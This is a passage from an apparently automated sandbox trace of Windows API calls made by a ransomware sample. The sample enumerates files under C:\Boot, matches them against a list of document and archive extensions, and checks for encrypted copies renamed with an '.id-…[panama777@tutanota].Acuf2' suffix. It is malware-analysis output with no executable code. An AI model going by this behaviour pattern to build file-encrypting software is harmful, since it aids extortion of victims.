	[0249.493] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.493] lstrlenW (lpString=".1cd") returned 4
	[0249.493] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.493] lstrlenW (lpString=".jpg") returned 4
	[0249.493] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.493] lstrlenW (lpString=".doc") returned 4
	[0249.493] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString=".docx") returned 5
	[0249.493] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0249.493] lstrlenW (lpString=".pdf") returned 4
	[0249.493] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString=".xls") returned 4
	[0249.493] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0249.493] lstrlenW (lpString=".xlsx") returned 5
	[0249.493] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0249.494] lstrlenW (lpString=".ppt") returned 4
	[0249.494] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0249.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.494] lstrlenW (lpString=".zip") returned 4
	[0249.494] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0249.494] lstrlenW (lpString=".rar") returned 4
	[0249.494] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0249.494] lstrlenW (lpString=".bz2") returned 4
	[0249.494] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0249.494] lstrlenW (lpString=".7z") returned 3
	[0249.494] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0249.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.494] lstrlenW (lpString=".dbf") returned 4
	[0249.494] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0249.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.494] lstrlenW (lpString=".1cd") returned 4
	[0249.494] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0249.494] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0249.494] lstrlenW (lpString=".jpg") returned 4
	[0249.494] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0249.494] lstrcmpiW (lpString1=".LOG2", lpString2=".Acuf2") returned 1
	[0249.494] lstrlenW (lpString="BCD.LOG2") returned 8
	[0249.494] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0249.495] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=0) returned 1
	[0249.495] CloseHandle (hObject=0x28c) returned 1
	[0249.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.495] lstrlenW (lpString=".doc") returned 4
	[0249.495] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0249.495] lstrlenW (lpString=".docx") returned 5
	[0249.495] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0249.495] lstrlenW (lpString=".pdf") returned 4
	[0249.495] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0249.495] lstrlenW (lpString=".xls") returned 4
	[0249.495] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0249.495] lstrlenW (lpString=".xlsx") returned 5
	[0249.495] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0249.495] lstrlenW (lpString=".ppt") returned 4
	[0249.495] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0249.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.495] lstrlenW (lpString=".zip") returned 4
	[0249.495] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0249.495] lstrlenW (lpString=".rar") returned 4
	[0249.495] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0249.495] lstrlenW (lpString=".bz2") returned 4
	[0249.495] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0249.495] lstrlenW (lpString=".7z") returned 3
	[0249.495] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0249.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.495] lstrlenW (lpString=".dbf") returned 4
	[0249.495] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0249.495] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.495] lstrlenW (lpString=".1cd") returned 4
	[0249.495] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.496] lstrlenW (lpString=".jpg") returned 4
	[0249.496] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.496] lstrlenW (lpString=".doc") returned 4
	[0249.496] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString=".docx") returned 5
	[0249.496] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0249.496] lstrlenW (lpString=".pdf") returned 4
	[0249.496] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString=".xls") returned 4
	[0249.496] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString=".xlsx") returned 5
	[0249.496] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0249.496] lstrlenW (lpString=".ppt") returned 4
	[0249.496] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.496] lstrlenW (lpString=".zip") returned 4
	[0249.496] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString=".rar") returned 4
	[0249.496] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString=".bz2") returned 4
	[0249.496] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString=".7z") returned 3
	[0249.496] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0249.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.496] lstrlenW (lpString=".dbf") returned 4
	[0249.496] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0249.496] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.496] lstrlenW (lpString=".1cd") returned 4
	[0249.496] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0249.497] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0249.497] lstrlenW (lpString=".jpg") returned 4
	[0249.497] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0249.497] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.497] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.497] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0249.497] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=89168) returned 1
	[0249.497] CloseHandle (hObject=0x28c) returned 1
	[0249.497] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0249.497] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.497] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.497] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.497] lstrlenW (lpString=".doc") returned 4
	[0249.497] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.497] lstrlenW (lpString=".docx") returned 5
	[0249.498] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.498] lstrlenW (lpString=".pdf") returned 4
	[0249.498] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.498] lstrlenW (lpString=".xls") returned 4
	[0249.498] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.498] lstrlenW (lpString=".xlsx") returned 5
	[0249.498] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.498] lstrlenW (lpString=".ppt") returned 4
	[0249.498] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.498] lstrlenW (lpString=".zip") returned 4
	[0249.498] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.498] lstrlenW (lpString=".rar") returned 4
	[0249.498] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.498] lstrlenW (lpString=".bz2") returned 4
	[0249.498] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.498] lstrlenW (lpString=".7z") returned 3
	[0249.498] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.498] lstrlenW (lpString=".dbf") returned 4
	[0249.498] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.498] lstrlenW (lpString=".1cd") returned 4
	[0249.498] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.498] lstrlenW (lpString=".jpg") returned 4
	[0249.498] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.498] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.498] lstrlenW (lpString=".doc") returned 4
	[0249.498] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.498] lstrlenW (lpString=".docx") returned 5
	[0249.499] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.499] lstrlenW (lpString=".pdf") returned 4
	[0249.499] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.499] lstrlenW (lpString=".xls") returned 4
	[0249.499] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.499] lstrlenW (lpString=".xlsx") returned 5
	[0249.499] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.499] lstrlenW (lpString=".ppt") returned 4
	[0249.499] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.499] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.499] lstrlenW (lpString=".zip") returned 4
	[0249.499] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.499] lstrlenW (lpString=".rar") returned 4
	[0249.499] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.499] lstrlenW (lpString=".bz2") returned 4
	[0249.499] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.499] lstrlenW (lpString=".7z") returned 3
	[0249.499] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.499] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.499] lstrlenW (lpString=".dbf") returned 4
	[0249.499] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.499] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.499] lstrlenW (lpString=".1cd") returned 4
	[0249.499] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.499] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0249.499] lstrlenW (lpString=".jpg") returned 4
	[0249.499] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.499] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.500] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.500] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0249.500] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=87616) returned 1
	[0249.500] CloseHandle (hObject=0x28c) returned 1
	[0249.500] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20
	[0249.500] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.500] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.500] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.500] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.500] lstrlenW (lpString=".doc") returned 4
	[0249.500] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.500] lstrlenW (lpString=".docx") returned 5
	[0249.500] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.500] lstrlenW (lpString=".pdf") returned 4
	[0249.500] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.500] lstrlenW (lpString=".xls") returned 4
	[0249.500] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.500] lstrlenW (lpString=".xlsx") returned 5
	[0249.500] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.500] lstrlenW (lpString=".ppt") returned 4
	[0249.500] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.500] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.500] lstrlenW (lpString=".zip") returned 4
	[0249.500] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.500] lstrlenW (lpString=".rar") returned 4
	[0249.501] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.501] lstrlenW (lpString=".bz2") returned 4
	[0249.501] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.501] lstrlenW (lpString=".7z") returned 3
	[0249.501] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.501] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.501] lstrlenW (lpString=".dbf") returned 4
	[0249.501] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.501] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.501] lstrlenW (lpString=".1cd") returned 4
	[0249.501] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.501] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.501] lstrlenW (lpString=".jpg") returned 4
	[0249.501] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.501] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.501] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.501] lstrlenW (lpString=".doc") returned 4
	[0249.501] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.501] lstrlenW (lpString=".docx") returned 5
	[0249.501] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.501] lstrlenW (lpString=".pdf") returned 4
	[0249.501] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.501] lstrlenW (lpString=".xls") returned 4
	[0249.501] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.501] lstrlenW (lpString=".xlsx") returned 5
	[0249.501] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.501] lstrlenW (lpString=".ppt") returned 4
	[0249.501] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.501] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.501] lstrlenW (lpString=".zip") returned 4
	[0249.501] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.501] lstrlenW (lpString=".rar") returned 4
	[0249.501] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.502] lstrlenW (lpString=".bz2") returned 4
	[0249.502] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.502] lstrlenW (lpString=".7z") returned 3
	[0249.502] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.502] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.502] lstrlenW (lpString=".dbf") returned 4
	[0249.502] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.502] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.502] lstrlenW (lpString=".1cd") returned 4
	[0249.502] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.502] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0249.502] lstrlenW (lpString=".jpg") returned 4
	[0249.502] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.502] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.502] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.502] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0249.505] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=91712) returned 1
	[0249.505] CloseHandle (hObject=0x28c) returned 1
	[0249.505] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20
	[0249.505] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.505] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.505] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.505] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.505] lstrlenW (lpString=".doc") returned 4
	[0249.505] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.505] lstrlenW (lpString=".docx") returned 5
	[0249.505] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.505] lstrlenW (lpString=".pdf") returned 4
	[0249.505] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.505] lstrlenW (lpString=".xls") returned 4
	[0249.505] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.505] lstrlenW (lpString=".xlsx") returned 5
	[0249.505] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.506] lstrlenW (lpString=".ppt") returned 4
	[0249.506] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.506] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.506] lstrlenW (lpString=".zip") returned 4
	[0249.506] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.506] lstrlenW (lpString=".rar") returned 4
	[0249.506] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.506] lstrlenW (lpString=".bz2") returned 4
	[0249.506] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.506] lstrlenW (lpString=".7z") returned 3
	[0249.506] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.506] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.506] lstrlenW (lpString=".dbf") returned 4
	[0249.506] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.506] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.506] lstrlenW (lpString=".1cd") returned 4
	[0249.506] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.506] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.506] lstrlenW (lpString=".jpg") returned 4
	[0249.506] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.506] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.506] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.506] lstrlenW (lpString=".doc") returned 4
	[0249.506] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.506] lstrlenW (lpString=".docx") returned 5
	[0249.506] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.506] lstrlenW (lpString=".pdf") returned 4
	[0249.506] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.506] lstrlenW (lpString=".xls") returned 4
	[0249.506] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.507] lstrlenW (lpString=".xlsx") returned 5
	[0249.507] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.507] lstrlenW (lpString=".ppt") returned 4
	[0249.507] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.507] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.507] lstrlenW (lpString=".zip") returned 4
	[0249.507] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.507] lstrlenW (lpString=".rar") returned 4
	[0249.507] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.507] lstrlenW (lpString=".bz2") returned 4
	[0249.507] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.507] lstrlenW (lpString=".7z") returned 3
	[0249.507] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.507] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.507] lstrlenW (lpString=".dbf") returned 4
	[0249.507] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.507] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.507] lstrlenW (lpString=".1cd") returned 4
	[0249.507] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.507] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29
	[0249.507] lstrlenW (lpString=".jpg") returned 4
	[0249.507] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.507] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.507] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.507] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0249.508] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=94800) returned 1
	[0249.508] CloseHandle (hObject=0x28c) returned 1
	[0249.508] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20
	[0249.508] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.508] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.508] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0249.508] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0249.508] lstrlenW (lpString=".doc") returned 4
	[0249.508] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.508] lstrlenW (lpString=".docx") returned 5
	[0249.508] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.508] lstrlenW (lpString=".pdf") returned 4
	[0249.508] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.508] lstrlenW (lpString=".xls") returned 4
	[0249.508] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.508] lstrlenW (lpString=".xlsx") returned 5
	[0249.508] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.508] lstrlenW (lpString=".ppt") returned 4
	[0249.508] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.508] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0249.508] lstrlenW (lpString=".zip") returned 4
	[0249.508] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.508] lstrlenW (lpString=".rar") returned 4
	[0249.508] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.508] lstrlenW (lpString=".bz2") returned 4
	[0249.508] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.508] lstrlenW (lpString=".7z") returned 3
	[0249.508] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
